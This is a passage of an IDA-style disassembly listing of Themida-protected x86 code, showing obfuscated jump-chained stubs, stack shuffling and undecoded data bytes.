; ---------------------------------------------------------------------------


loc_555196:				; CODE XREF: Themida_:0055F900j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_55B484
; ---------------------------------------------------------------------------


loc_5551A5:				; CODE XREF: Themida_:0055141Aj
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		push	edx
		push	esi
		jmp	loc_559BC8
; ---------------------------------------------------------------------------
aIHum		db '\‰,$hãM',0
		align 2
		dw 3C89h
		dd 10CEBF24h, 0FD892C3Fh, 81243C8Bh, 4C4h, 0FD56800h, 1C890000h
		dd 71DFBB24h, 0EB817CC1h, 0FFFFFFFFh, 0E907E3C1h, 5C17h
		dd 7612CF81h, 0D7F72726h, 176FEF81h, 0F7812D39h, 2B0538EBh
		dd 0D7EE9h, 0EB805800h,	0C0B60FA8h, 0A0ECE9h, 4C78100h
		dd 0E9000000h, 0FFFFC667h, 4C481h, 0C870000h, 24248B24h
		dd 300768h, 24048900h, 0FFCB65E9h, 0F22958FFh, 8324348Bh
		dd 0CA0104C4h, 5715C281h, 33594E97h, 14312414h,	24143324h
		dd 0F10BE9h, 24148700h,	2414895Ch, 0C281E289h, 4, 4B951h
		dd 0E7E90000h, 0E90000A0h, 0FFFFACA7h
; ---------------------------------------------------------------------------


loc_555270:				; CODE XREF: Themida_:005653E0j
		sub	dl, 1
		sub	dl, 0FFh
		push	ecx
		mov	cl, 0B2h
		dec	cl
		jmp	loc_551D59
; ---------------------------------------------------------------------------
		dd 0D7A4E953h, 0FA30FFFFh, 0E2805B66h, 9AE28000h, 0E9C4B753h
		dd 0FFFFF554h
; ---------------------------------------------------------------------------


loc_555298:				; CODE XREF: Themida_:00561787j
		pop	edi
		push	28EEh
		mov	[esp], esi
		push	416Bh
		mov	[esp], edx
		jmp	loc_555484
; ---------------------------------------------------------------------------


loc_5552AE:				; CODE XREF: Themida_:00550F05j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_55F7C8
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4EB81h, 1C870000h, 24248B24h, 50242489h, 468h, 44015800h
		dd 8B580424h, 0C483243Ch, 0E6BB5304h, 0E96E6B21h, 10194h
; ---------------------------------------------------------------------------


loc_5552F8:				; CODE XREF: Themida_:005606F6j
		push	edi
		mov	edi, 78D2672Ah
		jmp	loc_5573B0
; ---------------------------------------------------------------------------
byte_555303	db 66h			; DATA XREF: Themida_:0054FD98o
		dd 0E9240C8Bh, 0BD7Bh, 0CD2EE981h, 0CA2928BAh, 592434FFh
		dd 4C481h, 0F4E90000h, 81FFFFABh, 0EFB807C3h, 8BDF0935h
		dd 0C481241Ch, 4, 7AC9BB53h, 0DF29AB33h, 4613E9h
		db 0
; ---------------------------------------------------------------------------


loc_555341:				; CODE XREF: Themida_:00561188j
		add	ecx, 4
		push	5857h
		jmp	loc_553A39
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 5Ch
		dd 8116C84Ch, 71198CC7h, 3EFC15Ch, 479EEF81h, 0C7816D23h
		dd 549E177Ah, 28C4E9h
		db 0
; ---------------------------------------------------------------------------


loc_555371:				; CODE XREF: Themida_:005517A7j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_557318
; ---------------------------------------------------------------------------
		dw 0EA01h
		dd 0FFE5B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555389:				; CODE XREF: Themida_:0055D062j
		add	ebp, 32A132B2h
		sub	ebp, edx
		sub	ebp, 32A132B2h
		pop	edx
		jmp	loc_5597DA
; ---------------------------------------------------------------------------


loc_55539D:				; CODE XREF: Themida_:0055B466j
		push	eax
		push	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 4
		add	eax, 4
		jmp	loc_55849C
; ---------------------------------------------------------------------------
aCiufx		db '´æˆãfX',0
aSe_0		db 'Ø[饺',0
		dd 24148900h, 685166B2h, 7A4h, 0B4240489h, 8BE5886Dh, 0C4832404h
		dd 3EDC004h, 76C3E9h, 24448100h, 6E1CDF04h, 34FF5D72h
		dd 0C4835924h, 4C18104h, 52000000h, 686A4FBAh, 95EA810Ah
		dd 68139035h, 70D0h, 68243C89h,	0F6D834BEh, 5FFA315Fh
		dd 0D5E9D101h, 0BE000064h, 55737D2h, 0C14EDEF7h, 0EEC104EEh
		dd 0A3EE8102h, 31CB44C8h, 0C31AE9F3h, 4BF0000h,	1000000h
		dd 0E0E95FFBh, 5B000086h, 3F40E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55544A:				; CODE XREF: Themida_:0055F049j
		pop	eax
		jmp	loc_564D5B
; ---------------------------------------------------------------------------
		dd 0AA6DC281h, 0E981C6B4h, 53937C67h, 0C181D101h, 53937C67h
		dd 0FFC8295Ah, 34FF2434h, 0C4835924h, 0E0895004h, 405h
		dd 4BB5300h, 0E9000000h, 0FFFFBEBDh
; ---------------------------------------------------------------------------


loc_555484:				; CODE XREF: Themida_:005552A9j
		mov	edx, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5584B1
; ---------------------------------------------------------------------------
aY0Sx		db 'Y0ÁéxÛ',0
		align 4


loc_55549C:				; CODE XREF: Themida_:0055E7E9j
		pop	esp
		mov	[esp], ebp
		push	edx
		jmp	loc_551266
; ---------------------------------------------------------------------------
		dw 0E4BAh
		dd 29245D44h, 0E8015AD5h, 4055Dh, 4330000h, 24043124h
		dd 8B240433h, 50E92424h
		db 0AAh, 2 dup(0FFh)
byte_5554C7	db 0FFh			; DATA XREF: Themida_:0054FDA0o
		dd 34FF2434h, 24048B24h, 4C481h, 89560000h, 4C681E6h, 81000000h
		dd 4C6h, 24348700h, 84EFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5554ED:				; CODE XREF: Themida_:0055F717j
		push	dword ptr [eax]
		jmp	loc_5609A5
; ---------------------------------------------------------------------------
		dd 4C2835Dh, 0E9241487h, 3269h,	4C7835Ah, 5C243C87h, 8B243487h
		dd 0EC832424h, 240C8904h, 5E08950h, 4, 8704E883h, 0E95C2404h
		dd 4D18h, 565DE829h, 5D4E9h, 33E95A00h,	2D00003Ch, 1A21618Eh
		dd 8E05C801h, 8B1A2161h, 0C481240Ch, 4,	31240433h, 0CCE92404h
		dd 5500003Ch, 8155C589h, 6F88242Ch, 8159419Ch, 9C6F88C1h
		dd 48B5D41h, 7B8EE924h,	4870000h, 0E7EEE924h, 0BAFFFFh
		dd 29000000h, 31D131CAh, 0D884E9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55558A:				; CODE XREF: Themida_:005654EEj
		add	esi, edi
		pop	edi
		jmp	loc_564998
; ---------------------------------------------------------------------------


loc_555592:				; CODE XREF: Themida_:0055459Fj
		push	ebx
		mov	ebx, 49300BA5h
		jmp	loc_55EFB9
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0D413h, 24148966h, 70D3E9h, 241C8900h, 780647BBh
		dd 0FEBAE97Fh, 74FF0000h, 8F5B0424h, 248B2404h,	9CC13824h
		dd 0FFA946E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5555D1:				; CODE XREF: Themida_:0055A9E1j
		add	edi, 3B380553h
		add	edi, esi
		push	eax
		mov	eax, 641E157Ch
		sub	eax, 6ADC27EEh
		neg	eax
		jmp	loc_56139D
; ---------------------------------------------------------------------------
		db 89h
		dd 80BE2434h, 5020B96Bh, 2E3C95B8h, 0E9C6316Eh,	0FFFFFC31h
		dd 0E9242489h, 0C661h
; ---------------------------------------------------------------------------


loc_555608:				; CODE XREF: Themida_:005630D9j
		push	edx
		mov	edx, 66ED567Eh
		shl	edx, 7
		add	edx, 8954C104h
		add	ecx, edx
		pop	edx
		jmp	loc_557E9A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 69B05004h, 58C328h, 69C380C3h, 2D28E9h
		dd 4BD00h, 0E8010000h, 0E9242C8Bh, 176h, 74FF5059h, 8F580424h
		dd 68E92404h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555653:				; CODE XREF: Themida_:005646F6j
		push	ebx
		mov	bh, 2Dh
		mov	al, 73h
		add	al, bh
		pop	ebx
		sub	bl, al
		jmp	loc_5541D3
; ---------------------------------------------------------------------------


loc_555662:				; CODE XREF: Themida_:00561128j
		push	edi
		sub	esp, 4
		push	5C3Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		pop	edi
		add	edi, 4
		sub	edi, 4
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_55A973
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 63286804h, 7DE90000h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5556B3:				; CODE XREF: Themida_:00550E80j
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	esi, eax
		pop	eax
		add	esi, 0CE4A75E2h
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_562B28
; ---------------------------------------------------------------------------
		db 89h
		dd 0E789243Ch, 0F8A5E9h, 4C68100h, 81000000h, 4C6h, 24348700h
		dd 4A2BE9h, 75C28100h, 8966DED6h, 24148BD6h, 0E904C483h
		dd 0F193h, 0F7D5F75Dh, 3E5C1D5h, 0E22CBB53h, 0DD29880Ah
		dd 5DEF295Bh, 270AE9h
		db 0
; ---------------------------------------------------------------------------


loc_555721:				; CODE XREF: Themida_:00563505j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_55F09E
; ---------------------------------------------------------------------------


loc_555733:				; CODE XREF: Themida_:0055AEE9j
		pop	eax
		push	ebp
		push	edi
		jmp	loc_552013
; ---------------------------------------------------------------------------


loc_55573B:				; CODE XREF: Themida_:0056055Cj
		mov	ecx, 4
		sub	ebx, ecx
		jmp	loc_5632FD
; ---------------------------------------------------------------------------


loc_555747:				; CODE XREF: Themida_:00559377j
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 15E475FBh
		jmp	loc_551BF6
; ---------------------------------------------------------------------------
word_55575A	dw 8B66h		; DATA XREF: Themida_:0054FEA8o
		dd 73682404h, 89000003h, 0AE9241Ch
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55576B:				; CODE XREF: Themida_:00564EC0j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7179695Eh
		xor	ebp, eax
		pop	eax
		add	ebp, 1B2C4AF9h
		or	ecx, ebp
		jmp	loc_5607C5
; ---------------------------------------------------------------------------
aS_6		db '^é=,',0
		dw 5C00h
		dd 68240489h, 16D356A2h, 263D0558h, 0E0C10CAEh,	62E95107h
		dd 81FFFFB8h, 0EC4532EBh, 0A1C38107h, 15A4B1Ah,	0D1C2E9C3h
		dd 0EC830000h, 406EE904h, 5E5F0000h, 4C181h, 0C870000h
		dd 0F7685C24h, 89000056h, 0BEE9240Ch
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5557DB:				; CODE XREF: Themida_:0055AFDCj
		push	5F95h
		mov	[esp], ebx
		mov	ebx, 6F1474BBh
		jmp	loc_553769
; ---------------------------------------------------------------------------
		db 5Dh,	58h, 81h
		dd 0FFFFFFC1h, 0FAF181FFh, 3163D6ACh, 240C8BCBh, 8104C483h
		dd 104A7AEBh, 6EC38140h, 1F22DD0h, 2434FFDFh
		db 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_563147
; ---------------------------------------------------------------------------
		db 57h,	89h, 0CFh
		dd 895FFB89h, 0D1E5E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55582A:				; CODE XREF: Themida_:00561144j
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	cl, al
		pushf
		jmp	loc_54FF17
; ---------------------------------------------------------------------------
dword_555838	dd 9D1C77FFh, 1CD25966h, 0D0E99C24h, 5AFFFFA6h,	4EB81h
					; DATA XREF: Themida_:0054FDCCo
		dd 1C870000h, 8F545C24h, 0E9562404h, 0FFFFCFB8h, 0FFA6B6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555861:				; CODE XREF: Themida_:0055389Aj
		add	esp, 4
		jmp	loc_558D71
; ---------------------------------------------------------------------------


loc_555869:				; CODE XREF: Themida_:0055B040j
		pop	eax
		push	edi
		push	ecx
		mov	ecx, 592F4306h
		dec	ecx
		or	ecx, 678458Fh
		neg	ecx
		neg	ecx
		xor	ecx, 5F7F478Bh
		mov	edi, ecx
		pop	ecx
		add	eax, edi
		jmp	loc_5593B3
; ---------------------------------------------------------------------------
		dd 7771BF57h, 0EFC10426h, 41EF8107h, 8150160Dh,	600AECC7h
		dd 5FFB897Ah, 815BD831h, 0C677DFC5h, 81C5012Ah,	0C677DFEDh
		dd 0F19BE92Ah, 8950FFFFh, 2D52E9E8h, 13680000h,	89000015h
		dd 0E954241Ch, 71FBh
; ---------------------------------------------------------------------------


loc_5558D0:				; CODE XREF: Themida_:0055856Ej
		jmp	loc_55E905
; ---------------------------------------------------------------------------
		db 29h,	0D9h, 0FFh
		dd 835B2434h, 2EE904C4h, 810000A2h, 7E5C4CC1h, 0E41FE909h
		dd 0EE810000h, 108A70C2h, 0FFFB4AE9h, 2C483FFh,	3A7868h
		dd 24148900h, 1ADF68h, 7E55E900h, 0C870000h, 1C895C24h
		dd 51C3B724h, 7FE9FD88h, 540000F0h, 0D5E9575Dh,	0E90000A3h
		dd 0FFFFA5EBh, 158C631h, 53E7E9F3h, 0C6010000h,	6B9DBD55h
		dd 16E930BEh
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555943:				; CODE XREF: Themida_:00561FE9j
		push	3DF8h
		mov	[esp], esi
		mov	esi, 40h
		mov	edi, esi
		mov	esi, [esp]
		push	3850h
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		jmp	loc_565014
; ---------------------------------------------------------------------------
		db 41h,	81h, 0C1h
		dd 1C2F5582h, 0A268C181h, 0C829D755h, 9F2D5D59h, 0FF7ADC5Ch
		dd 3C8B2434h, 4C48324h,	4C481h,	0E9570000h, 0FFFFB5A8h
		dd 295AD529h, 34FF5DE9h, 0C4815E24h, 4,	0FFF709E9h, 4C481FFh
		dd 80000000h, 0C580C4CDh, 86C5860Eh, 86D3F6D8h,	80C586D8h
		dd 0EB28DDF5h, 75B8E9h,	232E6800h, 24890000h, 24048124h
		dd 4, 6824048Fh, 0AEBh,	0F251E9h
		db 0
; ---------------------------------------------------------------------------


loc_5559F5:				; CODE XREF: Themida_:00558A84j
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		push	1000000h
		jmp	loc_557E7A
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 1Eh
		dd 96C6D1Dh, 0B8505DEAh, 6DC83A65h, 34FFC201h, 0C4835824h
		dd 0B8C28104h, 1154845h, 2434FFD3h, 0E811E9h, 1BEA8100h
		dd 8134376Ah, 0FF2828C2h, 0DC86E966h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555A4E:				; CODE XREF: Themida_:00559660j
		xchg	eax, esi
		jmp	loc_562506
; ---------------------------------------------------------------------------
		dd 2CD3665Ch, 0B8E99C24h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555A5F:				; CODE XREF: Themida_:00554FA3j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_554384
; ---------------------------------------------------------------------------
		dw 5058h
		dd 1EE950B0h, 5B000072h, 4C481h, 54520000h, 0FFE400E9h
		db 0FFh
byte_555A85	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:0054FE70o
		dd 5B368h, 4A9E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555A92:				; CODE XREF: Themida_:00552ED4j
		mov	[esp], ebx
		jmp	loc_55056D
; ---------------------------------------------------------------------------
		dw 0E9C0h
		dd 0C1E18006h, 0B3A3E9h
		db 0
; ---------------------------------------------------------------------------


loc_555AA5:				; CODE XREF: Themida_:0055C348j
		mov	[esp], ebp
		mov	ebp, 8528A3BFh
		sub	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, ecx
		jmp	loc_55FE8B
; ---------------------------------------------------------------------------
aYsR		db 'Yé¼à',0
		dw 8B00h
		dd 4892424h, 2434FF24h,	9F28E9h
		db 0
; ---------------------------------------------------------------------------


loc_555AD1:				; CODE XREF: Themida_:0055FDDFj
		add	esp, 4
		add	edx, 200C807Ah
		jmp	loc_559CA5
; ---------------------------------------------------------------------------
		dw 1489h
		dd 56F9E924h, 0C3890000h, 0FFC99FE9h
		db 0FFh
byte_555AF1	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054FE40o
		dd 8B2434FFh, 0C481240Ch, 4, 21DBE9h, 89C68900h, 7DE95EF2h
		dd 0B9000055h, 421A40D7h, 4244481h, 478A6AA0h, 4244C01h
		dd 4246C81h, 478A6AA0h,	0E92434FFh, 7797h, 241C895Ch, 0EA80E3B7h
		dd 66FA00B2h, 0EF80E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555B42:				; CODE XREF: Themida_:0056447Aj
		sub	dword ptr [esp], 49AD6C02h
		pop	edx
		add	edx, 49AD6C02h
		jmp	loc_555FB0
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0DCh
		dd 8111244Ah, 282A50E9h, 6014E99Ch, 0EDC10000h,	73CD8107h
		dd 0F7121E06h, 0ECC581DDh, 814A9557h, 0CE2B9AF5h, 7B77E97Ch
		dd 0B8500000h, 7C5271FCh, 8158C389h, 0DB042444h, 0E9466B71h
		dd 9D81h
; ---------------------------------------------------------------------------


loc_555B98:				; CODE XREF: Themida_:0055E1B9j
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55E823
; ---------------------------------------------------------------------------
byte_555BCD	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0054FE44o
		dd 0D359669Dh, 0E99C241Ch, 0FFFFA33Bh, 2414335Eh, 33241431h
		dd 248B2414h, 24042824h, 0A325E99Ch, 0C481FFFFh, 4, 31241433h
		dd 14332414h, 24248B24h, 9C2424D3h, 0FFA30AE9h,	3BB850FFh
		dd 5323DC6Ah, 283B0968h, 0DEE95B55h, 0F70000BCh, 81D1F7D9h
		dd 0E887FDC1h, 59CA01DBh, 2B951h, 0CA010000h, 0E9240C8Bh
		dd 52CCh, 0C281E289h, 4, 0B500E9h
		db 0
byte_555C49	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FCB8o
aRtzscq		db '$RTZéCï',0
		dd 4C48300h, 3084C580h,	89BE9E8h, 0B0E90000h, 89FFFFA2h
		dd 0ABE95DEEh
		db 0BFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555C6F:				; CODE XREF: Themida_:00553B5Bj
		pop	esp
		jmp	loc_558473
; ---------------------------------------------------------------------------


loc_555C75:				; CODE XREF: Themida_:00552DBCj
		neg	edi
		inc	edi
		shl	edi, 2
		push	ebx
		mov	ebx, 31C91C64h
		jmp	loc_5560BC
; ---------------------------------------------------------------------------
		dw 0C158h
		dd 546804E3h, 8900007Eh, 0E9562404h, 0AA48h, 0E56BBB53h
		dd 0DF8940B3h, 5FF8015Bh, 0FFAB96E9h, 0D7F75FFFh, 53BECF81h
		dd 0B95137E9h, 4D6E7DBEh, 41E9CF31h
		db 0C7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555CBF:				; CODE XREF: Themida_:00565024j
		pop	ebp
		sub	ebp, 0A7B3CB1h
		push	dword ptr [esp]
		pop	edi
		push	eax
		jmp	loc_564572
; ---------------------------------------------------------------------------
		dd 1EEF815Fh, 890D0228h, 0C5295FF8h, 3EC58158h,	5E0B833Bh
		dd 31242C33h, 2C33242Ch, 24248B24h, 6022E9h
		db 0
; ---------------------------------------------------------------------------


loc_555CF5:				; CODE XREF: Themida_:0055AC51j
		pop	ebx
		or	ebx, 63E7317h
		sub	ebx, 4D8E62AAh
		sub	ebx, 0DB1B9A52h
		jmp	loc_553936
; ---------------------------------------------------------------------------
		db 58h,	2Dh, 5Ch
		dd 295C9133h, 5CB951F8h, 0E95C9133h, 8F6Bh, 8704C483h
		dd 0EDE92404h, 5F000008h, 4C781h, 0D3E90000h, 83FFFFBFh
		dd 148904ECh, 0D9CEE924h, 0DD290000h, 5968E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555D4A:				; CODE XREF: Themida_:0055FC33j
		push	edi
		jmp	loc_55F832
; ---------------------------------------------------------------------------
dword_555D50	dd 240C8B66h, 0FFD79FE9h, 535B66FFh, 9DA3E9h ; DATA XREF: Themida_:0054FD48o
		db 0
; ---------------------------------------------------------------------------


loc_555D61:				; CODE XREF: Themida_:00554677j
		mov	edx, [esp]
		push	ebp
		jmp	loc_55AFE6
; ---------------------------------------------------------------------------
		dw 0C068h
		dd 5D77AA68h, 0B850DDF7h, 38427FDDh, 3507E8C1h,	1B181D79h
		dd 0FFE7A0E9h, 5B6E68FFh, 3C890000h, 81E78924h,	4C7h, 4C78100h
		dd 87000000h, 248B243Ch, 2C08324h, 8B240487h, 4CE92424h
		dd 3100003Bh, 0ABE9241Ch, 56000023h, 4BEh, 2BF5E900h, 0C3810000h
		dd 726C7443h, 5177C381h, 0BE5661E8h, 290B7B69h,	0FFEF18E9h
		dd 5AF028FFh, 5166F000h, 8F73E9h, 4C48100h, 81000000h
		dd 4C4h, 0B448E900h, 0C781FFFFh, 0D40E8324h, 34FFF831h
		dd 78685F24h, 0E9000044h, 3DF3h
; ---------------------------------------------------------------------------


loc_555E0C:				; CODE XREF: Themida_:0055D0FBj
		add	eax, ecx
		pop	ecx
		push	ebp
		mov	ebp, 6ED133C7h
		push	edx
		mov	edx, 3AFF36DEh
		sub	edx, 0BB57C54Ch
		xor	ebp, edx
		pop	edx
		jmp	loc_55C7B4
; ---------------------------------------------------------------------------


loc_555E29:				; CODE XREF: Themida_:0055F613j
		pop	ebp
		sub	esi, 0FFFFFFFFh
		or	esi, 3A970902h
		push	esi
		neg	dword ptr [esp]
		jmp	loc_5563BB
; ---------------------------------------------------------------------------
byte_555E3F	db 0FFh			; DATA XREF: Themida_:0054FE88o
		dd 669D1C77h, 14D36659h, 0C8E99C24h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555E4F:				; CODE XREF: Themida_:0055F665j
		shl	esi, 5
		push	eax
		mov	eax, 2AF30F65h
		add	eax, 3DF1696h
		xor	esi, eax
		pop	eax
		dec	esi
		add	esi, 7CA5A58Ah
		push	2F1Ah
		mov	[esp], esi
		pop	edx
		mov	esi, [esp]
		push	771Eh
		jmp	loc_558ACB
; ---------------------------------------------------------------------------
aZ4SB		db '‡4$\é"b',0
		align 2
		dw 0D031h
		dd 0E924148Bh, 4C03h, 2474FF57h, 2434FF04h, 4C4815Fh, 8F000000h
		dd 895C2404h, 428F240Ch, 240C8B30h, 6104C483h, 6E7EE9h
		dd 38576800h, 34890000h, 2BE95124h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555EC3:				; CODE XREF: Themida_:0055BB85j
		pop	esp
		jmp	loc_55C97E
; ---------------------------------------------------------------------------
aXs3		db 'XéÂ3',0
		db 0
; ---------------------------------------------------------------------------


loc_555ECF:				; CODE XREF: Themida_:0055C237j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_55A50F
; ---------------------------------------------------------------------------
		db 0C0h
		dd 506606EAh, 0E20079B4h, 0EBE95866h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555EF7:				; CODE XREF: Themida_:005634E7j
		pop	ecx
		jmp	loc_558D26
; ---------------------------------------------------------------------------
		db 58h,	33h, 1Ch
		dd 241C3124h, 0E9241C33h, 3044h, 0BF243C89h, 4,	685FF901h
		dd 0E68h, 68240489h, 7A8Fh, 0BB241C89h,	82004DAh, 2004DEB8h
		dd 8BD83108h, 97E9241Ch, 8900007Eh, 0E952240Ch,	0FFFFECEDh
		dd 0FA1707BBh, 7557E915h, 0C8000000h, 0EB9E9h
		db 0
; ---------------------------------------------------------------------------


loc_555F55:				; CODE XREF: Themida_:00554618j
		push	ecx
		push	4E16h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_55E12A
; ---------------------------------------------------------------------------


loc_555F64:				; CODE XREF: Themida_:0055C7C6j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 0
		sub	edx, ebp
		push	edx
		pop	ebp
		mov	edx, [esp]
		sub	esp, 4
		jmp	loc_55BED7
; ---------------------------------------------------------------------------
		db 89h
		dd 0CA895FF9h, 8BE95159h, 89000088h, 8B682434h,	8900003Eh
		dd 19BF243Ch, 31424C12h, 0FF04247Ch, 3C8B2434h,	4C48124h
		dd 0E9000000h, 554Ch
; ---------------------------------------------------------------------------


loc_555FB0:				; CODE XREF: Themida_:00555B50j
		pop	esi
		sub	edx, 0D729FB46h
		jmp	loc_56266D
; ---------------------------------------------------------------------------
		dd 8BF7295Ah, 0C4812434h, 4, 5053E9h, 24148B00h, 0E9E68956h
		dd 7F73h, 84231235h, 17BE5651h,	8115CB0Bh, 5D1607C6h, 5EF00955h
		dd 0BA52D0F7h, 40482716h, 0D987E9h, 0E94B5D00h,	791Ch
		dd 0B4683E2Dh, 0A9B95151h, 0E9374C67h, 0A757h, 5C243487h
		dd 0FF243489h, 8B042474h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_565006
; ---------------------------------------------------------------------------


loc_556035:				; CODE XREF: Themida_:0055FDECj
		push	ecx
		push	62A16F87h
		pop	ecx
		add	ecx, 4D445F5Dh
		not	ecx
		jmp	loc_55E36B
; ---------------------------------------------------------------------------
aI4SV		db '‰4$é~V',0
		dd 81E38900h, 4C3h, 1676E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55605E:				; CODE XREF: Themida_:00556C60j
		sub	eax, edi
		jmp	loc_550D36
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0FF04C483h, 21E92434h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556073:				; CODE XREF: Themida_:005605BCj
		sub	bx, si
		add	bx, 32Ch
		push	di
		mov	di, 4087h
		add	bx, di
		pop	di
		mov	si, [esp]
		push	edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_551B6B
; ---------------------------------------------------------------------------
aVPwusT		db 'V¾;pwué;’',0
		align 2


loc_5560A6:				; CODE XREF: Themida_:00550A2Aj
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		and	eax, ecx
		jmp	loc_55B2BB
; ---------------------------------------------------------------------------


loc_5560BC:				; CODE XREF: Themida_:00555C81j
		add	ebx, 422E23CFh
		push	edx
		jmp	loc_558061
; ---------------------------------------------------------------------------
		dd 5B5985BBh, 23E38135h, 0F7542E3Eh, 6F381D3h, 0D1410C74h
		dd 0BDEB81EBh, 0E9F8AFC7h, 2E9Eh, 0DAF7D187h, 0E981D187h
		dd 26F87860h, 71A1F181h, 0F1815F18h, 23674E4h, 780EC181h
		dd 0CB29EE8Fh, 81C32959h, 4057D2C3h, 6EB8174h, 817C2E41h
		dd 4ECh, 242C8900h, 491068h, 24048900h,	6F5516B8h, 35E8D11Dh
		dd 3BDD3E73h, 4401E9h, 388EBD00h, 0F581239Dh, 6AA8261Eh
		dd 0BEAFE9h, 4C48300h, 8B241487h, 0F662424h, 9C2404B3h
		dd 0FF9DBAE9h, 26C681FFh, 3108C808h, 0B9E95EF3h, 52000074h
		dd 322C73B2h, 3204D028h, 0BB4EE95Ah, 0C15FFFFFh, 0EFD102EFh
		dd 8104EFC1h, 3BCE65EFh, 5FFB0981h, 2024E381h, 55E94E54h
		dd 81FFFFA5h, 5B9BB8F7h, 0FFFB0108h, 835F2434h,	0D90104C4h
		dd 4E9835Bh, 0FFB055E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5561B1:				; CODE XREF: Themida_:0055DCFBj
		push	small 5215h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_54FF17
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 34h
		dd 4EC8124h, 89000000h,	0D0B9240Ch, 0E97C6D7Ah,	56FEh
		dd 8924248Bh, 34E92404h, 0E9FFFF9Dh, 0FFFF9D2Fh, 0CC045CB5h
		dd 43B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5561F1:				; CODE XREF: Themida_:005514D1j
		mov	[esp], eax
		push	edi
		push	ebp
		jmp	loc_55B00B
; ---------------------------------------------------------------------------
		db 29h
		dd 8DE95EF3h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556203:				; CODE XREF: Themida_:00551F7Aj
		add	edi, 661F4A1Dh
		add	edi, 49BD7C64h
